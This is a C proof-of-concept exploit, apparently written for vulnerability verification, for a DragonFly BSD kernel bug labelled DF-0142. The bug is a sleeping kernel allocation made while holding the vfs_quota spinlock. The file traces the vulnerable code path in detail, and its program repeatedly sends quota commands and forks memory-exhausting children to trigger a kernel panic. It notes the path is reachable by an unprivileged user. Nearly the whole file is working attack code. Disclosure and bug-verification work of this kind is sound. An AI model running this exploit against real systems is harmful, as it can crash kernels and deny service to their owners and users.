/*
 * DF-0142 PoC: Sleeping allocation (M_WAITOK kmalloc) while holding ac_spin
 *
 * sys/kern/vfs_quota.c:
 *   vfs_stdaccount()        spin_lock(ac_spin) @158 -> unode_insert()/gnode_insert() @163/165
 *   cmd_set_usage_all()     spin_lock(ac_spin) @228 -> unode_insert()/gnode_insert() @254/260
 *   cmd_set_limit_uid()     spin_lock(ac_spin) @298 -> unode_insert() @300
 *   cmd_set_limit_gid()     spin_lock(ac_spin) @319 -> gnode_insert() @321
 *
 * unode_insert() (:89) and gnode_insert() (:103) call:
 *   kmalloc(sizeof(...), M_MOUNT, M_ZERO | M_WAITOK);
 *
 * That is a SLEEPING allocation performed while the caller holds the
 * per-mount spinlock mp->mnt_acct.ac_spin. In the DragonFly slab allocator
 * (sys/kern/kern_slaballoc.c) a M_WAITOK allocation that needs a fresh zone
 * calls kmem_slab_alloc(), which on a vm_page_alloc() failure invokes
 * vm_wait(0) / lwkt_switch() to block for memory. lwkt_switch() (sys/kern/
 * lwkt_thread.c:649) asserts:
 *
 *   KASSERT(gd->gd_spinlocks == 0 || panicstr != NULL,
 *           ("lwkt_switch: still holding %d exclusive spinlocks!", ...));
 *
 * That KASSERT is INVARIANTS-gated (sys/sys/systm.h:94), so it fires on the
 * default GENERIC kernel (options INVARIANTS). The result is:
 *
 *   panic: assertion "gd->gd_spinlocks == 0 || panicstr != NULL" failed ...
 *          "lwkt_switch: still holding 1 exclusive spinlocks!"
 *
 * Triggering it deterministically requires the allocator to actually block
 * (memory pressure + an exhausted M_MOUNT zone), because the slab fast path
 * (zone has a free chunk) never sleeps. This PoC therefore:
 *   (1) drives the vulnerable code path with many distinct uids/gids so
 *       unode_insert()/gnode_insert() keep being called under ac_spin, and
 *   (2) optionally runs memory-pressure children to push vm_page_alloc()
 *       toward failure so the M_WAITOK block (vm_wait/lwkt_switch) is taken.
 *
 * Admin precondition (realistic - admin deploying VFS quotas, same as the
 * DF-0141 prerequisite): vfs.quota_enabled=1 in /boot/loader.conf + reboot,
 * with the target path on a quota-initialised mount.
 *
 * Build:  cc -o df0142_poc df0142_poc.c -lprop
 * Run:    ./df0142_poc /tmp            # spam trigger + pressure (may panic)
 *         ./df0142_poc -n /tmp         # no pressure children, just exercise path
 *
 * Expected (BUG PRESENT, default GENERIC kernel w/ INVARIANTS, under enough
 *           memory pressure): guest panics with the lwkt_switch spinlock
 *           assertion in boot.log; ssh dies; vm.sh status -> down.
 * Expected (path reachable but NOT under pressure): the vquotactl calls
 *           return SUCCESS (rc=0) for every uid - proving the kmalloc-under-
 *           ac_spin code executes; no panic because the allocator did not
 *           need to sleep.
 * Expected (FIXED kernel): same SUCCESS returns (accounting still works),
 *           and even under heavy memory pressure no panic - the fix changes
 *           the inserts to M_NOWAIT so the slab allocator never blocks.
 */

#include <sys/types.h>
#include <sys/vfs_quota.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pwd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <libprop/proplib.h>

/* Same proplib marshalling as sbin/vquota/vquota.c:send_command() */
static int
send_command(const char *path, const char *cmd,
    prop_object_t args, prop_dictionary_t *resp)
{
	prop_dictionary_t dict;
	struct plistref pref;
	int error;

	dict = prop_dictionary_create();
	if (dict == NULL)
		return ENOMEM;
	if (prop_dictionary_set_cstring(dict, "command", cmd) == false) {
		prop_object_release(dict);
		return EINVAL;
	}
	if (prop_dictionary_set(dict, "arguments", args) == false) {
		prop_object_release(dict);
		return EINVAL;
	}
	error = prop_dictionary_send_syscall(dict, &pref);
	if (error != 0) {
		prop_object_release(dict);
		return error;
	}
	error = vquotactl(path, &pref);
	if (error != 0) {
		prop_object_release(dict);
		return error;
	}
	error = prop_dictionary_recv_syscall(&pref, resp);
	prop_object_release(dict);
	return error;
}

/* "set limit uid": forces cmd_set_limit_uid -> (RB_FIND miss) -> unode_insert()
 * -> kmalloc(M_WAITOK) while ac_spin is held. Each NEW uid chunk (uid >>
 * ACCT_CHUNK_BITS) forces a fresh unode_insert. */
static int
do_set_limit_uid(const char *path, uid_t uid, uint64_t limit)
{
	prop_dictionary_t args, res = NULL;
	int error;

	args = prop_dictionary_create();
	prop_dictionary_set_uint32(args, "uid", uid);
	prop_dictionary_set_uint64(args, "limit", limit);
	error = send_command(path, "set limit uid", args, &res);
	prop_object_release(args);
	if (res)
		prop_object_release(res);
	return error;
}

/* Memory-pressure child: mmap a large anonymous region and touch every page
 * to drive the VM subsystem toward exhaustion, so vm_page_alloc() in the
 * M_WAITOK slab path is more likely to fail and take the vm_wait() branch. */
static void
pressure_child(void)
{
	size_t sz = (size_t)1 << 30;	/* 1 GiB per child */
	char *p;
	size_t i;
	volatile char sink;

	p = mmap(NULL, sz, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (p == MAP_FAILED) {
		sz >>= 1;
		p = mmap(NULL, sz, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
	}
	if (p == MAP_FAILED)
		_exit(0);
	/* touch every page, then keep re-touching to hold pages resident */
	for (;;) {
		for (i = 0; i < sz; i += 4096)
			p[i] = (char)i;
		(void)sink;
	}
	/* not reached */
}

static int quota_enabled(void)
{
	int v = 0;
	size_t l = sizeof(v);
	sysctlbyname("vfs.quota_enabled", &v, &l, NULL, 0);
	return v;
}

int
main(int argc, char **argv)
{
	const char *path;
	int do_pressure = 1;
	int argi = 1;
	int rc, ok = 0, fail = 0;
	unsigned uid;
	pid_t *kids = NULL;
	int nkids = 0, i;

	if (argi < argc && strcmp(argv[argi], "-n") == 0) {
		do_pressure = 0;
		argi++;
	}
	if (argi >= argc) {
		fprintf(stderr,
		    "usage: %s [-n] <quota-enabled-mount-path>\n", argv[0]);
		return 2;
	}
	path = argv[argi];

	printf("== DF-0142: M_WAITOK kmalloc while holding ac_spin ==\n");
	printf("running as uid=%u\n", getuid());
	printf("target mount path: %s\n", path);
	printf("vfs.quota_enabled = %d\n\n", quota_enabled());
	if (!quota_enabled()) {
		printf("NOTE: vfs.quota_enabled=0 -> sys_vquotactl returns "
		       "EOPNOTSUPP; the vulnerable path is not live.\n"
		       "      (admin must boot with vfs.quota_enabled=1)\n");
	}

	/* 1. Exercise the vulnerable path: many distinct uid *chunks* so the
	 *    RB_FIND in cmd_set_limit_uid misses and unode_insert() is called
	 *    under ac_spin. ACCT_CHUNK_BITS is 5 -> stride by 64 per chunk. */
	printf("[1] spamming cmd_set_limit_uid with many new uid chunks "
	       "(each forces unode_insert under ac_spin)...\n");
	for (uid = 0; uid < 400000u; uid += 64) {
		rc = do_set_limit_uid(path, uid, 1ULL);
		if (rc == 0)
			ok++;
		else {
			fail++;
			if (fail <= 4)
				printf("    uid=%u rc=%d (%s)\n", uid, rc,
				    strerror(rc));
		}
	}
	printf("    done: %d ok, %d fail\n\n", ok, fail);

	/* 2. If path is reachable (ok>0), the kmalloc-under-ac_spin code ran.
	 *    Now try to force the M_WAITOK block to actually sleep via memory
	 *    pressure, which on INVARIANTS panics in lwkt_switch(). */
	if (ok > 0 && do_pressure) {
		printf("[2] forking %d memory-pressure children to push "
		       "vm_page_alloc toward failure...\n", 4);
		kids = calloc(4, sizeof(*kids));
		for (i = 0; i < 4; i++) {
			kids[i] = fork();
			if (kids[i] == 0)
				pressure_child();
			if (kids[i] > 0)
				nkids++;
		}
		sleep(3);	/* let pressure build */
		printf("    re-spamming set-limit-uid under pressure...\n");
		printf("    (if the guest panics, this ssh will die now)\n");
		for (uid = 0; uid < 400000u; uid += 64)
			(void)do_set_limit_uid(path, uid, 2ULL);
		printf("    spam completed (guest still up)\n");
		for (i = 0; i < nkids; i++)
			kill(kids[i], SIGKILL);
		while (waitpid(-1, NULL, 0) > 0)
			;
		free(kids);
	} else if (ok > 0) {
		printf("[2] (-n) skipping pressure children\n");
	}

	/* 3. cleanup */
	printf("[3] cleanup: clearing limits\n");
	for (uid = 0; uid < 400000u; uid += 64)
		(void)do_set_limit_uid(path, uid, 0ULL);

	printf("\n>>> RESULT: %d vquotactl ops hit cmd_set_limit_uid -> "
	       "unode_insert (kmalloc under ac_spin).\n", ok);
	printf(">>> If ok>0 the vulnerable code path is REACHABLE from this "
	       "unprivileged user.\n");
	printf(">>> A live panic requires the slab allocator to block (memory "
	       "pressure) so the\n");
	printf(">>> lwkt_switch() spinlock assertion fires. See VERDICT.md for "
	       "the full source trace.\n");
	return 0;
}